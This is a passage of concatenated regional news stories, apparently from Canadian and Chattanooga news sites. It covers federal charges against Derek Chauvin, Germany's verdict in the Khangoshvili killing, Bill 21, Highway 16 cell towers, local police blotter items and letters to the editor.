entered and left the courtroom, according to the pool report. George Floyd's nephew, Brandon Williams, afterward called Chauvin a monster who should have been arrested in the 2017 incident. Had he been held accountable for what he did in 2017 to that minor, George Floyd will still be here, Williams said. "Today he had a chance to blow kisses and give air hugs to his family. We cant do that. An attorney for Floyd's family, Jeff Storms, said they planned to head to Minneapolis later in the day to support the family of Daunte Wright, a 20-year-old Black man who was fatally shot during a traffic stop in the midst of Chauvin's state trial. The police officer in that case, Kim Potter, is on trial on manslaughter charges. Floyds arrest and death, which a bystander captured on cellphone video, sparked mass protests nationwide that called for an end to racial inequality and police mistreatment of Black people. To bring federal charges in deaths involving police, prosecutors must believe an officer acted under the color of law, or government authority, and willfully deprived someone of their constitutional rights. Thats a high legal standard. An accident, bad judgment or simple negligence on the officers part isnt enough to support federal charges. Prosecutors have to prove the officer knew what he was doing was wrong in that moment but did it anyway. According to evidence in the state case against Chauvin, Kueng and Lane helped restrain the 46-year-old Floyd as he was on the ground Kueng knelt on Floyds back and Lane held down Floyds legs. Thao held back bystanders and kept them from intervening during the 9 1/2-minute restraint. All four former officers were charged broadly in federal court with depriving Floyd of his rights while acting under government authority. In the 2017 case involving the then-14-year-old boy, Chauvin is charged with depriving the boy, who was handcuffed and not resisting, of his right to be free of unreasonable force when he held him by the throat, hit him in the head with a flashlight and held his knee on the boys neck and upper back while he was in a prone position. According to a police report from that 2017 encounter, Chauvin wrote that the teen resisted arrest and after the teen, whom he described as 6-foot-2 and about 240 pounds, was handcuffed, Chauvin used body weight to pin him to the floor. The boy was bleeding from the ear and needed two stitches. That encounter was one of several mentioned in state court filings that prosecutors said showed Chauvin had used neck or head and upper body restraints seven times before dating back to 2014, including four times state prosecutors said he went too far and held the restraints beyond the point when such force was needed under the circumstances. The other three former officers are still expected to go to trial on federal charges in January, and they face state trial on aiding and abetting counts in March. Photo: The Canadian Press The body of Zelimkhan Khangoshvili is carried during his funeral in Duisi, Georgia. Germanys foreign minister said Wednesday that her country is expelling two Russian diplomats after a court concluded that Moscow was behind the killing of a Chechen man in Berlin two years ago. Foreign Minister Annalena Baerbock called the state-ordered killing a grave breach of German law and the sovereignty of the Federal Republic of Germany. Russia's ambassador in Berlin has been summoned to discuss the court's finding, Baerbock said. The 2019 brazen daylight killing of Zelimkhan Tornike Khangoshvili, a 40-year-old Georgian citizen of Chechen ethnicity, sparked outrage in Berlin and previously prompted the German government to expel two Russian diplomats a move Russia swiftly reciprocated at the time. Judges at Berlins regional court convicted 56-year-old Vadim Krasikov of the killing, but said he had acted on the orders of Russian federal authorities, who provided him with a false identity, fake passport and the resources to carry out the hit on Aug. 23, 2019. The central government of the Russian Federation was the author of this crime, presiding judge Olaf Arnoldi said, labeling the killing state terrorism. Baerbock said she spoke Tuesday with her Russian counterpart, Sergey Lavrov, and made clear that Germany wants an open and honest exchange with Russia, and that this should happen on the basis of international law and mutual respect. It is clear that acts such as the...murder weigh heavily on this relationship, she said. The German government will do everything necessary to ensure that security in our country and the respect for our laws is ensured. After Wednesday's verdict, Russias ambassador in Berlin issued a statement rejecting allegations of Russian involvement in the killing. We consider the verdict an unobjective, politically motivated decision that seriously aggravates already complicated Russian-German relations, Ambassador Sergei Nechayev said. Nechayev called the verdict an unfriendly act that wont go unanswered." The absurd notion about Russias involvement in the wrongdoing during the entire course of the trial was being methodically imposed on the public, was being weaved into the general anti-Russian background, but wasnt in the end proved with convincing evidence, he said. During an oral summary of the court's findings that lasted almost two hours, Arnoldi said he and four fellow judges had reviewed a wealth of evidence during the 14-month trial, including 47 witness testimonies and material provided by a dozen countries, along with very limited answers from the Russian Federation. The court found Krasikov guilty of murder Wednesday and sentenced him to life imprisonment. Defense lawyers had asked the court to acquit their client, who claimed a case of mistaken identity. The judges said Krasikov bore particularly grave responsibility for the slaying, meaning he wont be entitled to the automatic parole after 15 years that is customary in Germany. Tracing the biographies of Krasikov and Khangoshvili, Arnoldi said it was important to note the victims involvement in fighting against Russian forces in Chechnya from 2001 onward. In 2004, Khangoshvili led a group of fighters who carried out an attack on a police station in Russia, and civilians were killed along with officers. There is no doubt that Khangoshvili bears responsibility for peoples deaths, the judge said, adding later that Russian authorities had likely sought revenge and retribution for his actions. Asked about the case at a news conference in December 2019, Russian President Vladimir Putin described the victim as a terrorist and murderer. Khangoshvilis family, which under German law was allowed to take part in the trial as co-plaintiffs, accused Russia last week of trying to send a message to its political enemies by killing him. Khangoshvili survived an earlier assassination attempt in Georgia before moving to Ukraine and then to Berlin in 2016, where he applied for asylum, the judge said. German authorities denied Khangoshvilis asylum request, and an appeal was rejected in 2018 on the grounds that he didnt face political persecution in his home country. This later proved to be obviously wrong, Arnoldi said, adding there was no evidence that Khangoshvili was politically active in Germany or continued to pursue extremist ideas. The German judges said that overwhelming evidence reviewed over the course of dozens of hearings left no doubt that Krasikov had carried out the killing just a few hundred meters from the courthouse. Krasikov a twice-married father of three had no previous convictions, Arnoldi said, but official records showed he had been sought by Russian authorities over the killing of a businessman in Moscow in 2013. The case was dropped in 2015. Evidence reviewed by the court, including material unearthed by the investigative news site Bellingcat, showed that Krasikov had been employed by a Russian security agency and was likely asked to carry out the hit in 2019, Arnoldi said. A month before the killing, Russian authorities issued Krasikov with a fake passport under the alias Vadim Sokolov that he used to travel to Berlin, where he shot the victim repeatedly from behind with a silencer-fitted handgun near the Kleiner Tiergarten park. Witnesses saw the suspect throw a bike, a gun and a wig in the Spree River near the scene and alerted police, who quickly arrested him before he could make off on an electric scooter parked in a doorway. The court concluded that the killing wouldnt have been possible without unidentified helpers in Berlin, that Moscow had a motive for targeting the victim, and that Russian law permits the killing of alleged terrorists, including abroad if authorized by the president. If a business card belonging to a member of the Russian federal government had been found at the scene of the crime, it couldnt have been more damning, Arnoldi said. Photo: The Canadian Press Arctic offshore patrol ship components under construction at the Irving shipbuilding facility in Halifax. A judge has stayed criminal proceedings against a man accused of breaching Canada's secrets law because of an unreasonable delay in bringing the matter to trial. Ontario Superior Court Justice Michael Dambrot delivered the ruling in a brief hearing today, ending Qing Quentin Huang's long-running case unless the Crown decides to appeal. It has been eight years since Huang was arrested in Burlington, Ont., following an RCMP-led investigation called Project Seascape. Huang, an employee of Lloyds Register, a subcontractor to Irving Shipbuilding Inc., was charged under the Security of Information Act with attempting to communicate secrets to China. Police said the information related to elements of the federal shipbuilding strategy. In a statement through his lawyers, Huang says it's a big relief that the case is over, adding he felt no one but his counsel was on his side. On Dec. 9 Kelowna city council deliberated on, and gave preliminary approval to, the new city budget. It was an interesting day as $50,000 (was approved) to study the office space of the RCMP building. I can't say here what I said at home as that got a stamp of approval. To be honest, I said quite a few choice words as council approved studies that will cost Kelowna hundreds of thousands of dollars when the information is either readily available or, quite simply, ridiculous in nature. A study to rearrange furniture. Seriously? Obviously, I wish council had not approved the P2s (secondary items) that were moved to P1s (primary items) regarding the RCMP. I am glad it kept the number of new officers down to 11. It should have been 10, (well zero, but you work with what you have) in my opinion. Thank you to the three councillors who voted no on that particular line. It also struck me how difficult it felt to have a P2 for $75,000 meant for affordable housing land acquisition moved to a P1. Be bold. Be resilient. Be unafraid to do things differently, right there in our city's brand new (Official Community Plan). But for some on our council, the old ways of waiting and watching for more studies felt necessary. They ended up voting for it because they didn't want to give the perception they didn't support affordable housing. I hate to break it to those who fought this but that came through loud and clear. Interestingly enough, they were the same ones who were willing to borrow $300,000 from the affordable housing fund and lend it to Tourism Kelowna not too long ago. Hundreds of thousands of dollars on studies and balking at $75,000 for affordable housing as we are now the third most expensive city in Canada for housing? On a scale of one to 10, how well do you feel this current council serves you and represents your values and needs? There is a municipal election coming up in 2022. I sure hope we have better candidates to choose from. Heather Friesen Photo: Ford The long-popular Ford F-150, Mustang and BMW 3 Series remain Canadas top vehicle searches, according to data released by AutoTrader.ca this week. "When it comes to vehicles, Canadians like what they like, and we found this consistency to be a reassuring sign for the industry, demonstrating consumers were willing to weather the storm," said Jodi Lai, editor-in-chief at AutoTrader.ca. "While cars continued to dominate 80 per cent of the top searched list, Lai said, the truck is still king with the Ford F-150 claiming the top spot nationally for the seventh year in a row, and the Toyota RAV4 remaining a fan favourite in the SUV category. In 2020, AutoTrader.ca found B.C. residents more interested in luxury cars than those in other provinces. In 2021, the economical Toyota RAV4 replaced the luxury BMW X5 in B.C. as the sole SUV on the list. British Columbia now shares top honours with Ontario as provinces with the most luxury selections in the top 10. Rounding out the top 10 list nationally were: Porsche 911 Mercedes-Benz C-Class Honda Civic Toyota RAV4 Mercedes-Benz E-Class Chevrolet Corvette BMW M The report said that, in 2021, long-term impacts of the pandemic were seen in the automotive sector; most notably, a global shortage of microchips, which put strain on new car inventory. With pent-up consumer demand, there was record high new and used vehicle pricing in Canada. Average new and used vehicle prices were reaching record highs of $49,900 and $31,875, respectively, in November 2021, the company found. The data also revealed growing popularity for electric vehicles. It revealed 64% of non-car-owners were open to buying an EV as their next vehicle. Photo: Rogers Communications Rogers Communications has started construction of 12 new cell towers which will provide service to more than 250 km of Highway 16. Rogers Communications has started construction on the first of 12 planned cellular towers along Highway 16 between Prince George and Prince Rupert, the company announced on Wednesday. Once complete, the project will provide cellphone coverage to an additional 252 kilometres of the highway, also known as the Highway of Tears. At Rogers, we are deeply committed to reconciliation and to using our technology to help connect rural, remote and Indigenous communities, Rogers chief technology officer Jorge Fernandes said in a press release. It is our hope that by providing the safety of wireless connectivity along Highway 16, we can honour survivors, victims and their families and communities by taking action to address the tragic crisis of murdered and missing Indigenous women and girls here for the past many decades. The project is expected to provide continuous cellphone coverage along the 720 km stretch between Prince George and Prince Rupert, fulfilling one of the recommendations of the 2006 Highway of Tears Symposium report. It means the world to me and our women to connect with others and keep in touch, especially on this highway anything can happen at any given time, said Gladys Radek, an activist working to raise awareness about the missing and murdered women along Highway 16 and across Canada. This tower and project will bring a lifeline to all of us who travel along Highway 16 regularly and will bring a sense of safety and security that will help us prevent future tragedies. In addition, Rogers is sponsoring two totem poles to be placed at each end of the Highway of Tears. The Two Sisters totem poles will be erected in Prince George and Prince Rupert at part of the Highway of Tears Commemoration and Healing Totem Pole series. The totem pole series, initiated by the families of missing and murdered women and the Indian Residential Schools Survivors Society, will provide places where families can commemorate lost loved ones. A portion of the funding for the project was provided by the provincial and federal governments, though the federal Universal Broadband Fund and the Connecting British Columbia program. As a local resident and frequent traveller on Highway 16, I know how important this project is for people living, working and travelling along this route, North Coast MLA Jennifer Rice said in a press release. Our government is pleased to be able to help fund this project, which helps fulfil recommendations from the Highway of Tears Symposium, and completion of the project will be a welcome reassurance for families and communities in our region. In November, Rogers announced a partnership with the Coastal First Nations to develop five new cell towers on Haida Gwaii. The towers will provide 100 km of additional coverage along Highway 16 from Masset to Port Clements to Queen Charlotte. Photo: The Canadian Press Conservative MP Mark Strahl rises during Question Period in the House of Commons Monday June 17, 2019 in Ottawa. THE CANADIAN PRESS/Adrian Wyld The Liberal government and opposition Conservatives are facing calls from within to mount a more direct challenge to Quebec's controversial secularism law, after a teacher was removed from the classroom for wearing a hijab. Federal parties and their MPs have spent the past week reacting to the law, known as Bill 21, which bans some public servants deemed to be in positions of authority, such as teachers, judges and police officers, from wearing religious symbols on the job. The law was passed in 2019, but received renewed attention outside Quebec last week after news broke that Fatemeh Anvari, a Grade 3 teacher, was told she could no longer teach in a classroom because she wore a hijab. One of the federal politicians calling for a more forceful condemnation of the law was Conservative MP Mark Strahl, a representative from British Columbia. Conservative Leader Erin O'Toole has said that while he personally opposes the measure, he believes it's one that Quebecers alone must deal with. But Strahl said he thinks "some issues transcend jurisdiction." The MP says he thinks Conservatives should re-examine their stance, which he said is unclear, and be prepared to challenge the law in court. "We can't let laws like that go unchallenged," he told reporters before heading into the Tories' national caucus meeting Wednesday, where he said the issue would be raised. "It's a position that's shared by many, many of my colleagues." Despite the wish from some to adopt a tougher stand, O'Toole and other members of his Quebec caucus left the meeting saying nothing had changed. On his way out O'Toole, speaking in French, reiterated his opposition to the law and says Conservatives must speak as a team on important issues. As for the Liberals, Prime Minister Justin Trudeau has not ruled out federal intervention from his government when it comes to the law. And on Tuesday, NDP Leader Jagmeet Singh shifted from his earlier stance to say he would support Ottawa stepping into a court challenge. Liberal MP Salma Zahid, who wears a hijab, issued a statement this week saying it was time for Ottawa to join the legal challenge against the law mounted by the National Council of Canadian Muslims and the Canadian Civil Liberties Association. "This cannot be allowed to stand unchallenged," she said. "To date, the challenge has come from civil society. But as the party that brought the Charter of Rights and Freedoms to Canada, as a government that champions human rights around the world, we cannot allow the weight of this fight to be carried by civil society alone." Montreal Liberal MP Anthony Housefather alsosaid this week he wants a national debate on the use of and rules around the notwithstanding clause, which Quebec Premier Francois Legault pre-emptively invoked to stave off any claims the provincial law violates the Charter. It's a conversation others have suggested is long overdue, four decades after the clause was created as part of constitutional talks. Housefather said the discussion should include whether the clause can be invoked without an actual court challenge of the law in question, as Legault did when Bill 21 was passed. Newly elected Ottawa Liberal MP Jenna Sudds had similar sentiments in a statement she issued on the secularism law. She called it "a manifestation of intolerant and xenophobic sentiments" that may need federal intervention. "Canadian governments at all levels have an unwavering commitment to the principles of freedom of religion and expression," she said. "We cannot in good conscience stand idly by and allow this bill to go unchallenged, for what we permit, we promote." Chattanooga States Tennessee College of Applied Technology practical nursing students spent two days volunteering at the Chattanooga Area Food Bank to assist with sorting donations, packaging food boxes, and delivering donations out to cars for those in need. Our first and second semester students were able to serve 630 families within our community, stated Tina Hilinski, associate instructor, Practical Nursing. It was a great team building activity and students demonstrated such positivity and open hearts it was wonderful to give back. In addition to instructors Tina Hilinski and Cara Brown, volunteers included first semester students Jerica Besley, Hailey Billingsley, Fiona Blevins, Savanna Graham, Meagan Haustein, Ezera Henson, Victoria Hunt, Shiasia Little, Kensley Mansfield, Keosha Moorer, Maya Pastusic, Makayla Pritchett, Alexis Saunders, Bileah Sit, Jessica Stone, and Will Thomas. Second semester students included Kawana Clay, Felecia Poku, Olivia Farrow, Vanessa Smith, Jaimee Woody, Gracelyn Harper, Jessica Caperton, and Christine Carter. First year practical nursing students Maya Pastusic and Bileah Sit shared their thoughts about the experience. Having never volunteered at the Food Bank, Maya got to know her classmates better and said, I was able to help provide for the community in need, and it was fulfilling, while Bileah expressed her joy in giving back to the community and said, My volunteering experience made me feel great and thankful. Statistics provided by the Food Bank state that more than 161,000 individuals face food insecurity in their 20-county service area. One in six children do not know where their next meal will come from. The Chattanooga Area Food Bank relies heavily on volunteer hours, monetary and food donations. In 2020, they provided over 14 million meals to those in need. Our students have many learning experiences while in College and we are grateful to these students for leading out in serving our community, said Dr. Jim Barrott, TCAT executive vice president. It is a win-win for everyone involved. A man, 27, was shot Monday night in Chattanooga. At approximately 5:21 p.m., Chattanooga Police were notified by dispatch that a man had arrived at a local hospital by private vehicle with a gunshot wound. Upon arrival, officers located and confirmed a man was there suffering from a non-life threatening gunshot wound. Officers were unable to confirm a possible location of incident. The victim refused to cooperate with investigators and further indicated an unwillingness to cooperate in the subsequent investigation. Investigators with the Violent Crimes Unit responded to conduct an investigation.The victim refused to cooperate with investigators and further indicated an unwillingness to cooperate in the subsequent investigation. The Hamilton County Health Department is now offering Pfizer COVID-19 booster shots to anyone 16 years of age or older. Individuals who received their second Pfizer COVID-19 vaccine at least six months ago are eligible to receive their booster shot. Please bring your COVID-19 vaccination record card when receiving your booster shot and be prepared to wait at least 20 minutes after the vaccine is administered. Masks must be worn while on site. To find a Health Department vaccination site, visitor call 423-209-8383. Booster Sites: Tennessee Riverpark, 4301 Amnicola Highway, Chattanooga, Tn 37402 Tuesday-Saturday from 9 a.m. to 4 p.m. Pfizer & Moderna boosters available. Pfizer is approved for ages 16+ and Moderna is approved for ages 18+. Sequoyah Health Center, 9527 W Ridge Trail Road, Soddy Daisy, Tn. 37379 Monday-Friday from 8:30 a.m. to 3:30 p.m. Pfizer booster available. Birchwood Health Center, 5625 TN-60, Birchwood, Tn. 37308 Tuesday & Wednesday from 8:30 a.m. to 3:30 p.m. Pfizer booster available. Health Department Main Facility, Pediatric Clinic, 921 East 3rd Street, Chattanooga, Tn. 37403 Monday-Friday from 8:30 a.m. to 3:30 p.m. Pfizer booster available for ages 16 & 17 only. Details & Additional resources Parent or legal guardian must be present at the appointment and bring current, valid photo ID. If you are a legal guardian, please bring proof of guardianship with you. To accelerate the process, bring the completed vaccine encounter form with you, available at this link. Forms will also be available on site. Call the Health Departments COVID-19 at 423 209-8383 if you have questions about vaccinations, locating testing, or if you seek isolation or quarantine guidance. Vaccines are widely available in the community through a number or providers. Please visit vaccines.gov to find a vaccination site near you. Mayor Tim Kelly has reached to Florida for his pick for administrator of city public works. He is asking that Tom Hutka, who was public works director for Broward County, Fla., for 11 years, be confirmed by the City Council. City Councilwoman Demetrus Coonrod hit the selection, saying that white males mainly make up the Kelly team and that blacks are being passed over. Donald Stone Jr., who is black, has been serving as deputy administrator since Justin Holland moved to the private sector in October 2020. Mr. Hutka, who lives at Pompano Beach, Fla., at one time was director of municipal program management for HNTB Corporation. He lists 30 years of experience in public service as well as an undergraduate engineering degree from Princeton University and a master's degree in public administration from Harvard University. In recent months, he has been applying for a host of city manager positions. He was among the finalists at numerous Florida cities, including Chandler, Daytona Beach, North Park, Surfside and Lake Worth Beach. Other candidates won out on all those jobs. The city council of Frankfort, Ky., voted unanimously to make him the city manager last April. But he withheld an answer while waiting to see if he got a top post at Fort Myers, Fla. Eventually, Fort Myers went with a North Carolina candidate and the Frankfort deal fizzled out. Councilwoman Coonrod said, "I am concerned about our diversity and equity." She said the appointments have been "mainly white males, with one white female. Outside of Tony Sammons, who was already here, and Erskine Oglesby who was just hired, it seems blacks are being overlooked." She said, "I am very concerned we are looking outside the city when we have people here who are very capable of being appointed. Instead of a black person being picked, we send out a nationwide search." She stated, "Black people are being left out (at the city) in the melting pot of color." Councilwoman Coonrod said, "We choose people who will be learning on the job rather than selecting people who clearly are doing an excellent job." Ryan Ewalt, new city chief operating officer, said the administration remains committed to having a leadership team that is at least 40 percent diverse. He said, "There are still quite a few positions to be filled." For generations, the U.S. military and our families, have held traditions of honoring those who served with us to preserve our Constitution of the United States. There is not room here, to detail each tradition. But our presence at a grave, any time of year, is deliberate and bound by the memories, commitment and values each of us share. Unfortunately, as is so common this time of year, a group dedicated to the destruction of, not merely our values, but also the Constitution we vow to defend, are now at war with our memories and with the act of honoring those who have now paid all. An article copyrighted by Fox News, written by Kyle Morris, details press releases of a "Military Religious Freedom Foundation" saying Christmas wreaths we place on soldiers graves are: "Carpet Bombing with a Christian Gang Sign." Simple decency tells me to be quiet; but quiet does not condone such vile degradation of mothers, sisters, wives, husbands, brothers, sisters, tiny sons and daughters; whose loved ones, both man and woman, represent all that is correct with the United States of America. These brothers and sisters, today at rest, are family to us all. Our traditions were rich in their lives as well. We must not, ever, yield to absurd and warped values of those committed to undoing the strength of family and honor that made this nation, the greatest in the world. Jim Bowman Chattanooga * * * Jim Bowman, please allow me to apologize for the crass remark made by Kyle Morris. I have no idea who he is, nor do I care to. What I do care about is his lack of understanding that our men and women who have served, serve now and will service in our armed forces are the very ones who make it possible for him to display his ignorance of those who protect his rights. This past Saturday I sat in the MetLife Stadium in Rutherford, NJ to watch the USMA and the USNA play a football game for bragging rights for the next year. What impressed me most is seeing how hard these young men played, all the while knowing that after graduation they will be one team, different branches. They will, as always, have each others back, just as those in the bands, cheerleaders, cadets and midshipman in the stands. Its what they choose to do the make sure we keep our freedom. We will always have among us those of us who have looked at what other countries and forms of government have for their citizens and also those who have been brainwashed into thinking that Socialism or Communism will bring about a better life. They have never counted the dead bodies Communism produces. Thank you for being one who does understand. J. Pat Williams Three people were arrested in Bradley County for theft from multiple storage units. Bradley County Sheriffs Office deputies of the 400 shift responded on Saturday, to a report of a suspicious person near a business on APD 40. Upon arrival, deputies noticed a vehicle parked near the storage units located on the back side of the building. They also observed a man sitting in the vehicle and another man and woman standing near by the scene. Once they were spotted, both suspects began to flee on foot. The man and woman continued to run after being told to stop. Upon investigation, a large plastic tote filled with tools that had been taken from multiple storage units was found near the building. It was discovered that approximately five storage units had been vandalized and broken into. There were also several tools, chainsaws, and other equipment located in the back of the suspects vehicle. The suspects were soon located in nearby hiding spots. They were identified as Steven Ray Levi, Jason Payne, and Vera Cheek. Both Levi and Payne had burglary tools in their pockets at the time that they were detained. All three suspects were then arrested for their participation in criminal activity. Payne was transported to a local hospital for further medical evaluation. Levi and Ms. Cheek were immediately transported to the Bradley County Jail. BCSO Lt. Kevin Chastain complimented every deputy on the 400 shift for their involvement in the call, and highlighted Deputy Dakota Blackwell for taking the lead and showing exceptional police work in this particular incident. The collaboration between team members and the Bradley County Sheriffs Office Criminal Investigations Division resulted in a total of three arrests, multiple burglary charges, and thousands of dollars in recovered property. The stolen property that was located during the search has since been returned to the victims. Levi was charged with public intoxication, theft over $1,000, possession of burglary tools, vandalism, aggravated criminal trespass, and five counts of burglary. Payne and Ms. Cheek were also charged with public intoxication, theft over $1,000, possession of burglary tools, vandalism, aggravated criminal trespass, and five counts of burglary, along with resisting arrest. Hamilton County Sheriffs Office Deputy Ashley Buckner was recognized at the 2021 Annual Mothers Against Drunk Driving (MADD) Night of Remembrance event on Thursday, in Nashville, along with several other law enforcement personnel throughout the State of Tennessee for DUI arrests.During the event, Deputy Buckner received two prestigious awards for her efforts to remove impaired drivers from our communitys roadways.Deputy Buckner received the Mothers Against Drunk Driving Bronze Award for having more than 25 DUI arrests in 2020. In total, Deputy Buckner had 26 DUI arrests. She also received the East Tennessee Sheriffs Office Top DUI Enforcer Award for having the most DUI arrests for a law enforcement deputy in the Eastern Region of Tennessee.Deputy Buckners efforts to apprehend impaired drivers reflects our agencys commitment to keeping our community and our roadways safe.Her exemplary efforts are in keeping with the highest standards of service and professionalism expected by the HCSO and its personnel, said Sheriff Jim Hammond. I look forward to the many great things she will accomplish in the future, he further noted.I am very proud of Deputy Ashley Buckner for her efforts to seek out and remove impaired drivers from our roadways. These two prestigious awards recognize Deputy Buckners commitment to our citizens safety and reflect her training and expertise as a Hamilton County Sheriffs Office deputy, said Chief Deputy Austin Garrett.At the event, Deputy Buckner was joined by her husband, Chattanooga Police Department Traffic Investigator Jeff Buckner, who was also one of the MADD award recipients. Traffic Investigator Buckner was named the Tennessee Highway Safety Office's DUI Investigator of the Year for the Cumberland Region, the Mothers Against Drunk Driving's Tennessee Police Officer Top DUI Enforcer of the Year, and the 2021 MADD Tennessee Top State DUI Enforcer.The mission of Mothers Against Drunk Driving (MADD) is to end drunk driving, help fight drugged driving, support the victims of these violent crimes, and prevent underage drinking. If you would like more information about MADD and their mission to end impaired driving, please visit: https://www.madd.org/.HCSO officials said, "Please join with us as we offer Deputy Ashley Buckner our congratulations and recognize her for being one of the recipients of this years MADD awards." A woman on West 40th Street called police and said she had a small bird trapped inside her home that would not fly out her open door. The bird continued to "dive-bomb" toward the officer's feet or beneath a bed and fly back up and away to different high points. Attempts to detain the bird with a bag were unsuccessful. All interior doors of the residence were closed once the bird entered a common area. The bird then flew out the front door. * * * A man at Market City Center, 728 Market St., told police that a white male, later identified by police, was bothering him. He initially said the man was trying to steal his empty cans (scrap metal). When police asked how the man was trying to steal his items, he said the man was standing around him and was refusing to leave. Police spoke to that man, who said he did try to help him move his things and he became upset. Both men agreed to stay away from each other and the verbal disorder ceased. * * * While an officer was working an extra job at Hamilton Place, Mall security notified him of an unoccupied vehicle, with the key in the ignition, parked on the property. Police confirmed the car had been reported stolen. Police requested dispatch contact the owner, but his telephone number was out of service. Police then called for a tow truck to tow the vehicle. Police also requested dispatch have a Hamilton County deputy respond to the owner's residence to try and make contact. The deputy made contact with the owner, who requested the tow company tow the vehicle to his residence. The tow company had already arrived on the scene and was loading the vehicle. The man changed his mind, and the deputy transported the man to the mall. The vehicle was removed from NCIC as stolen, and was released to the owner. * * * A man on Williams Street told police that someone broke into his vehicle around 4 a.m. He said it appears as if they pried the window open to get to the lock. He said they stole $1,000 in cash and a Fender guitar. * * * A man told police he got a room at the Baymont Inn & Suite, 7017 Shallowford Road, and he then left and came back and they wouldn't let him in his room. Police spoke to the desk clerk, who said that the man had several people in his room and he was told that he was the only one allowed to be in the room, so they took back his card and denied him entry. * * * A woman on Shallowford Village Drive told police that sometime between 2-6 a.m. someone had broken out the rear passenger side window and took a Mac Book Pro laptop from her vehicle. She said it cost around $1,700 and the window would cost $500 to replace. Due to where the vehicle was parked, security cameras were unable to catch any suspect information. * * * While en route to a call, police rolled up on a crash with no injuries at 17820 I-24 westbound. Police could hear several men in a verbal argument. Police got all men back to their vehicles. Once this was done, it was determined that this was a rear end crash. Police had both vehicles move to the next exit. Once at the next exit, both men agreed that they did not want a report, as the damage was minimal. No one needed medical attention. * * * An employee at Enterprise Rental, 1001 Airport Road, told police a costumer used the stolen ID and information of another woman to rent a vehicle. The employee said they contacted the woman, who resides in Columbus, Ohio. The woman said she had already filed an identity theft report with the Columbus Police Department. The employee reported the vehicle was supposed to be returned that morning. He said the whereabouts of the vehicle is not known. The vehicle was entered into NCIC as stolen. * * * An employee of Rise Apartments, 1185 Mountain Creek Road, wanted to report that a woman was there who is not allowed in the office, due to her disorderly conduct. The employee said the woman conducted herself in a manner that made them feel unsafe and also caused potential residents to feel uncomfortable. The woman was seen yelling and cussing the employee in regards to trash being left outside her apartment door, which is not allowed in the lease agreement. * * * Police observed a suspicious vehicle in the parking lot at Petco, 5756 Highway 153. The vehicle was a silver Nissan Maxima bearing a TN tag which did not come back on file. Police then approached the vehicle and did not observe any occupants, however they did observe ash and small pieces of marijuana in the vehicle. Police the retrieved the VIN and found that the vehicle was registered in Georgia and not stolen. * * * Police observed a white BMW sedan parked outside of the Motel 6, 7707 Lee Hwy. Upon getting out with the vehicle, someone in a room closest to the vehicle yelled "police outside" twice. Police then attempted to run the VIN of the vehicle and were unable to get a return. Police observed that the vehicle was displaying what appeared to be a fraudulent temporary tag on the rear of the vehicle. Police saw that the temp tag was taped over a license plate. Police removed the tag in order to further identify the vehicle and found a TX plate which returned to a Chevy. The last known registration for the vehicle was out of Florida from 10 years prior. * * * A man on Blackford Street reported his vehicle, a Buick Century with TN tag, had been stolen. Police located the vehicle on Milne Street occupied by a woman. The man said he knows the woman, and this was a misunderstanding. He did not wish to prosecute. He said there was no new damage to his vehicle and it was returned to him without incident. * * * An employee at Joe's Kwik Mart, 7420 Bonny Oaks Dr., told police there was a man in the restroom who constantly enters the store and has vandalized the restroom. He said he wanted the man trespassed from the store. Police entered the restroom and spoke with the man, who said he was homeless and has Crohn's disease. Police informed him that the manager did not want him on the property. Police also informed him he was trespassed from the property and he would be arrested if he returned. The man left the area without incident. * * * A stolen car was found on Tunnel Boulevard near the J Building by the brother and son of the vehicle's owner. The vehicle was released to the owner. Police observed damage to the front bumper. Inside the vehicle police found two spent Hornady 9mm shell casings and three .22 rounds (driver's seat). Police also found two bags with one of the bags containing miscellaneous personal items (passenger seat floorboard). When observing the exterior of the vehicle, police found distinct fingerprints near the handle of the driver's door and driver's side passenger door. The prints were lifted by police on the scen. A Gun Team investigator was notified of the rounds found in the vehicle. All items and fingerprints found were taken to CPD Property. * * * A woman at the Homeless Health Care Center, 730 E 11th St., told police that a man approached the property looking into the windows, which frightened the other staff members. She said he wasn't physical with her or any other staff members. Police checked the area, but didn't locate the man. * * * A man on Riverfront Parkway told police that sometime between 12:23-12:30 a.m. someone entered his door-less garage and stole three retainers/braces and a set of car keys to his Ford Explorer from inside the center console of his 2009 Chevy Tahoe. There is no damage to the Chevy Tahoe and the man believes the doors were left locked. There is no suspect information. The man said his cameras alerted his phone of movement around 12:23 a.m., however, there is no working video. The man was told to call back at any time. He estimated the total loss to be $650. * * * A woman on Wexford Lane told police that sometime the day before, someone stole two shepherd hooks and two solar powered lamps from her front yard. She said they were near the front door of her residence. * * * An anonymous caller told police that a black male in a white truck in the park at 4500 Central Ave., had approached her daughter at the park. Police responded to the scene and observed a white pickup truck with a the man in the driver's seat. Police approached the vehicle and spoke with the man. He asked why police were getting out with him and they explained the situation. The man became extremely agitated and began yelling. Police saw an open alcohol container in the passenger side of the truck. Initially the man refused to give any identifying information when asked. Police eventually were able to get him calmed down and he provided ID. Since the caller had left, police released the man from the scene. * * * A woman contacted police and said another woman believed she and her were involved in an accident. She said that while driving west on I-24 near the Ridge Cut, another woman driving a white Toyota Camry (TN tag) said that she had rear ended her vehicle. She told police she did not feel or see a collision, but believed it could possibly have happened, given the stop-and-go traffic they were traveling in. She said she gave her name, phone number and company information to the other woman involved and both left the scene. She wanted this documented in case an accident report was made by the other woman. She repeated she did not believe she was involved in an accident. The other woman involved has not contacted police. * * * Police responded to a disorder prevention at an apartment on East 25th Street Court. A woman told police that she had been staying at the apartment for a month now because the lessor subleased it out to her while she was out of town. She said the lessor had come back and wanted her to move out that day and that wasnt possible due to the amount of furniture she had in the apartment. Police then spoke with the lessor, who said that she never said that the woman had to leave; that it was the woman who said she would be out by the 25th of that month. The lessor said she had been staying in a hotel waiting for the woman to have her items moved out so she could move her belongings back in from storage. The lessor then said that she would be willing to give the woman until Dec. 1 to be out. The woman agreed to the terms and said she would have all of her things out by the first of the month, and the apartment would be free for the lessor to move back in at that time. * * * A man in an apartment on Chestnut Street told police that sometime in the last two months the catalytic converter had been stolen from his Honda Civic (TN tag) at his complex. No suspect information was known. * * * A woman at America's Best Value Inn, 7638 Lee Hwy., told police that a black male slashed her tires. Officers observed two tires were slashed. She said she refused to give the man a ride and he got upset at her. She said the man was 5'11" and was wearing brown overalls. She said he left the scene south on Lee Highway with a white female on crutches. Officers were unable to locate the man. Officers were also unable to view any video, due to management not being on scene. The woman said she wanted to press charges on the man once identification was made. The Tennessee Department of Education on Wednesday released the ACT state results and participation rate for the 2021 graduating class. Participation in the ACT decreased slightly from 97 percent with 62,564 graduates in 2019-20 to 96 percent with 60,865 graduates in 2020-21. The state average composite ACT score 